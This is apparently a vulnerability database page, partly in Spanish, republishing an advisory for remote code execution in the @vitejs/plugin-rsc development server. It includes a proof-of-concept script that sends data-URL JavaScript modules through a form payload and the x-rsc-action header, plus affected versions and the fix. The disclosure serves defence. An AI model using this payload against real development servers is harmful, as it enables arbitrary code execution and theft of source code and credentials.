@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server
Summary
Arbitrary Remote Code Execution on development server via unsafe dynamic imports in @vitejs/plugin-rsc server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints.
Impact
Attackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces.
Details
In the example RSC application provided in Proof of Concept, the server handles server function call through API such as loadServerAction, decodeReply, decodeAction with http request's header and body as inputs:
During development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.
Proof of Concept
The example app is avialable in
- https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter
- https://stackblitz.com/edit/github-rubfqp9k?file=poc.js
Reproduction Steps:
- Stat development server
vite dev - Run a following script
node poc.js - See "REMOTE CODE EXECUTION1" and "REMOTE CODE EXECUTION2" in server console
// [poc.js]
const payload = {
0: ["$F1"],
1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
fd.append(key, JSON.stringify(payload[key]));
}
const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
method: "POST",
headers: {
"x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
},
body: fd,
})
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | @vitejs/plugin-rsc | < 0.5.6 | 0.5.6 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-94- Plataforma
- npm
- Paquete
@vitejs/plugin-rsc- Publicada
- 08.12.2025
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-j76j-5p5g-9wfr - CC BY 4.0
Historial de vulnerabilidades: @vitejs/plugin-rsc
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 7
- Primera → última
- 12.2025 05.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
- Alta 4
- Media 1
Divulgaciones por año
- 2025: 5
- 2026: 2
-
@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.